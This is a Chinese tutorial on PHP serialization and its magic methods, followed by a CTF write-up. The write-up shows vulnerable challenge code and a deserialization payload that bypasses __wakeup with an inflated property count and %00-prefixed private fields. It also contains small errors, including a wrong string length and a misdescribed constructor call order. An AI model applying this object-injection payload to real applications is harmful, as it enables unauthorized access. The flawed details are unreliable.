序列化与反序列化
原理:
- 序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】
序列化: 游戏的存档 —— 把当前的状态保存下来 - 序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用,重新再转化为对象或者其他的。【将字符串转化为状态信息】
反序列化: 游戏的读档 —— 通过保存下来的信息恢复到当初的状态
魔法函数:
__construct() 具有构造函数的类会在每次创建新对象时先调用此方法 (构造函数)
__destruct() 会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。(析构函数)
__call() 在对象中调用一个不可访问方法时,__call() 会被调用
__callStatic() 在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
__get() 读取不可访问属性的值时,__get() 会被调用。
__set() 在给不可访问属性赋值时,__set() 会被调用。
__isset() 当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
__unset() 当对不可访问属性调用 unset() 时,__unset() 会被调用。
__sleep() 当对象被serialize() 函数处理前,调用
__wakeup() 当类被unserialize()时调用 __wakeup 方法,预先准备对象需要的资源。
__toString() 该方法用于一个类被当成字符串时应怎样回应
__invoke() 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
__set_state()
__clone() 当复制完成时,如果定义了 __clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改属性的值
__debugInfo() 此方法由var_dump()调用
序列化实例:
class S{
public $test="bihuoedu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:8:"bihuoedu";}
O:代表object
1:代表对象名字长度为一个字符
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
bihuoedu:变量值
[极客大挑战 2019]PHP 1
ps:一题较为简单的入门序列化题目
刚开始建议是用dirsearch扫描一下,发现有 www.zip
文件,将它下载下来,flag.php里没有什么有用的信息,我们重点分析class.php文件
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
可以看到这里包含了一个flag.php文件在末尾也有echo $flag所以我们重点分析绕过方法,我们的目标是让username=admin和password=100既可以得到flag
在index.php中我们可以看见它以变量select传参,拿到select后会对其进行反序列化,也就是class.php里的内容
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
- 过程:进行序列化时它会对username和password进行赋初值nonono和yesyesyes,在上面的魔法函数中我们看到,如果有unserialize函数那么会先调用__wakeup函数这里username又被赋了guest值然后才去调用__construct函数去正式赋值,当程序要结束时会调用__destruct函数,对username和password进行判断输出。
序列化脚本其实就是把那些魔法函数去掉,在把unserialize函数改为serialize函数就行了
<?php
class Name
{
private $username = "yesyesyes";
private $password = "nonono";
public function __construct($username,$password)
{
$this->username=$username;
$this->password=$password;
}
}
$a = new Name('admin',100);
$b = serialize($a);
echo $b."<br>";
?>
得到结果O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
我们要避免调用__wakeup函数,它会将我们的输入参数给覆盖掉,在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),即把Name后面的数字2该为大于2的数字,于是我们这样构造payload:?select=O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00因此私有字段的字段名在序列化的时候,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度再次更新payload:?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
即可拿到flag